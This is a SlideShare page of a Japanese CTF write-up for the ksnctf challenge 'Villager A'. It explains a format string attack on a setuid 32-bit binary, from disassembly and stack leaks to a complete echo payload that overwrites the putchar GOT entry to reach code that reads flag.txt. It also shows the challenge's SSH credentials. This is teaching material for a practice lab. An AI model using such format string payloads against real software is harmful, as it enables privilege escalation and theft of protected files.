Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
Upcoming SlideShare
What to Upload to SlideShare
What to Upload to SlideShare
Loading in …3
×
1 of 16

20191005LT会用 CTF writeup(pwn)

2

Share

Download to read offline

ksnctf Villager A WriteUp

Related Books

Free with a 30 day trial from Scribd

See all

Related Audiobooks

Free with a 30 day trial from Scribd

See all

20191005LT会用 CTF writeup(pwn)

  1. 1. 有名なpwn問をわかりやすく解きたい ~Villager A~ (誰か64bitのオススメ常設問題おしえて)
  2. 2. 目次 • 問題概要 • 静的解析 • 脆弱性を探す • 攻撃の方針 • 攻撃文字列を考える • 実行する ていうかどのへんが 村人Aなの?
  3. 3. 問題概要 • 問題文に記載されたところにsshで接続する。 • 問題サーバに接続するので中身を確認すると、flag.txtと実行ファイルq4がある。 [q4@localhost ~]$ ls -l -r--------. 1 q4a q4a 22 5月 22 02:12 2012 flag.txt -rwsr-xr-x. 1 q4a q4a 5857 5月 22 11:21 2012 q4 -rw-r--r--. 1 root root 151 6月 1 04:47 2012 readme.txt [q4@localhost ~]$ file * flag.txt: regular file, no read permission q4: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped readme.txt: ASCII English text $ ssh -p 10022 q4@ctfq.sweetduet.info Pass:q60SIMpLlej9eq49 ←実行ファイルq4から flag.txtを読める
  4. 4. 問題概要 • 実行ファイルq4を実行してみる。 [q4@localhost ~]$ ./q4 What's your name? saka Hi, saka Do you want the flag? yes Do you want the flag? yes! Do you want the flag? no I see. Good bye. ←入力した文字列を出力する ←"no"と入力するまで繰り返す
  5. 5. 静的解析 • 実行ファイルq4を逆アセンブルしてみる。 • fopen()を実行しているコードがあるため、ここを実行すれば flag.txt を読めそう。 しかし、今のままではこのコードまで到達できないようになっている。 [q4@localhost ~]$ objdump -M intel -d q4 8048691: mov DWORD PTR [esp+0x4],0x80487e6 8048698: 8048699: mov DWORD PTR [esp],0x80487e8 80486a0: call 80484a4 <fopen@plt> 80486a5: mov DWORD PTR [esp+0x41c],eax 80486ac: mov eax,DWORD PTR [esp+0x41c] 80486b3: mov DWORD PTR [esp+0x8],eax 80486b7: mov DWORD PTR [esp+0x4],0x400
  6. 6. 脆弱性を探す • 入力したあとにprintf()を実行しているため、Format String Attackをうたがう。 80485cc: mov eax,ds:0x8049a04 80485d1: mov DWORD PTR [esp+0x8],eax 80485d5: mov DWORD PTR [esp+0x4],0x400 80485dc: 80485dd: lea eax,[esp+0x18] 80485e1: mov DWORD PTR [esp],eax 80485e4: call 8048484 <fgets@plt> 80485e9: mov DWORD PTR [esp],0x80487b6 80485f0: call 80484b4 <printf@plt> 80485f5: lea eax,[esp+0x18] 80485f9: mov DWORD PTR [esp],eax 80485fc: call 80484b4 <printf@plt> 8048601: mov DWORD PTR [esp],0xa 8048608: call 8048474 <putchar@plt>
  7. 7. Format String Attackとは?① • 文字列を出力させる際に printf(str) と記載してしまうと発生する脆弱性のこと。 〇 printf("%s", str) × printf(str) • もしも str の中身が "%d" のようになっていた場合、次の命令に置き換わる。 printf("%d") ↑出力されるべき変数の指定が無い!! そのため、本来その後ろに記載されるはずだった引数(ELF32bitではスタック領域)の 値がprintf命令により出力されてしまう。
  8. 8. Format String Attackとは?② • printf()の指定子 %n を利用すると、これまでの出力バイト数を スタック領域に格納されたアドレスに書込める。 • 指定子 %hhn を使うと1バイトずつ、指定子 %hn を使うと2バイトずつ書き込める。 • %hhn指定子の書き方 %6$hhn ↑スタック領域6番目に格納されたアドレスに、これまでの出力バイト数を書込む • 出力バイト数は %x 指定子を使って調整できる。 %100x …100文字(100桁)ぶん出力
  9. 9. 脆弱性を探す • Format String Attackが可能かどうか確かめる。 %d(10進数表示)や %x(16進数表示)などの指定子が含まれる文字列を入力して、 挙動を確認する。 • スタック領域の値が出力されるため、 Format String Attackが可能だと分かる。 [q4@localhost ~]$ ./q4 What's your name? 1234 %x %x %x %x %x %x %x %x Hi, 1234 400 d398c0 8 14 1c1fc4 34333231 20782520 25207825 Do you want the flag? ↑スタック領域の値が出力されている
  10. 10. パイプで入力値を指定する • これ以降は、作業の簡略化のためにパイプを使って入力値を指定する。 [q4@localhost ~]$ ./q4 What's your name? 1234 %x %x %x %x %x %x %x %x Hi, 1234 400 d398c0 8 14 1c1fc4 34333231 20782520 25207825 Do you want the flag? [q4@localhost ~]$ echo '1234 %x %x %x %x %x %x %x %x' | ./q4 What's your name? Hi, 1234 400 4cf8c0 8 14 23bfc4 34333231 20782520 25207825 Do you want the flag? おなじ ←こっちの方法なら ¥xを付ければ 文字ではなく数値も 入力値として渡せる
  11. 11. 攻撃の方針 • 呼び出したいアドレス: fopen()処理のまとまりの先頭アドレス0x08048691 • 書き換える先: printf()後に呼ばれているputchar()のGOTアドレス0x080499e0 ⇒GOT overwrite 8048691: mov DWORD PTR [esp+0x4],0x80487e6 8048698: 8048699: mov DWORD PTR [esp],0x80487e8 80486a0: call 80484a4 <fopen@plt> 08048474 <putchar@plt>: 8048474: jmp DWORD PTR ds:0x80499e0 804847a: push 0x8 804847f: jmp 8048454 <_init+0x30>
  12. 12. 攻撃の方針(イメージ図) • 呼び出したい場所: 0x08048691 • 書き換える先: 0x080499e0 • 32bitELFのため、アドレスは4バイト(32bit)で処理される。 アドレス 中身 0x080499e0 0x91 0x080499e1 0x86 0x080499e2 0x04 0x080499e3 0x08 ←リトルエンディアン形式のため 後ろのバイトから順に格納する
  13. 13. 攻撃文字列を考える① • 書込みたいアドレス4つをスタックに書き込む。 • ¥xを使うことで16進数指定でアドレスを書込み、その後 %x を使ってスタック領域の 中身を出力する。 • スタックの6~9番目の領域に値が書き込まれたことがわかる。 [q4@localhost ~]$ echo -e '¥xe0¥x99¥x04¥x08¥xe1¥x99¥x04¥x08¥xe2¥x99¥x04¥x08¥xe3¥x99¥x04¥x08 %x %x %x %x %x %x %x %x %x' | ./q4 What's your name? Hi, 400 5ae8c0 8 14 da6fc4 80499e0 80499e1 80499e2 80499e3 Do you want the flag? ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨
  14. 14. 攻撃文字列を考える② • 攻撃で使用する指定子を計算する • 先程の攻撃文字列の後半を、今計算した値にする。 スタック領域 6番目 0x080499e0 7番目 0x080499e1 8番目 0x080499e2 9番目 0x080499e3 書込みたいバイト 0x91 0x86 0x04 0x08 計算 指定子 16+129 → 145(0x91) %129x%6$hhn 145+245 → 390(0x186) %245x%7$hhn 390+126 → 516(0x204) %126x%8$hhn 516+4 → 520(0x208) %4x%9$hhn 4つのアドレス書込みで 出力している16バイトぶん ↓ ↑ 1バイトずつ書き込むので 下位1バイトぶんを調整する echo -e '¥xe0¥x99¥x04¥x08¥xe1¥x99¥x04¥x08¥xe2¥x99¥x04¥x08¥xe3¥x99¥x04¥x08 %129x%6$hhn%245x%7$hhn%126x%8$hhn%4x%9$hhn' | ./q4
  15. 15. 実行する • 作成した文字列を使って実行してみる。フラグゲット! [q4@localhost ~]$ echo -e '¥xe0¥x99¥x04¥x08¥xe1¥x99¥x04¥x08¥xe2¥x99¥x04¥x08¥xe3¥x99¥x04¥x08 %129x%6$hhn%245x%7$hhn%126x%8$hhn%4x%9$hhn' | ./q4 What's your name? Hi, FLAG_xxxxxxxxxxxxxxxx ↑実際にやって確かめてみてね
  16. 16. おわり!

×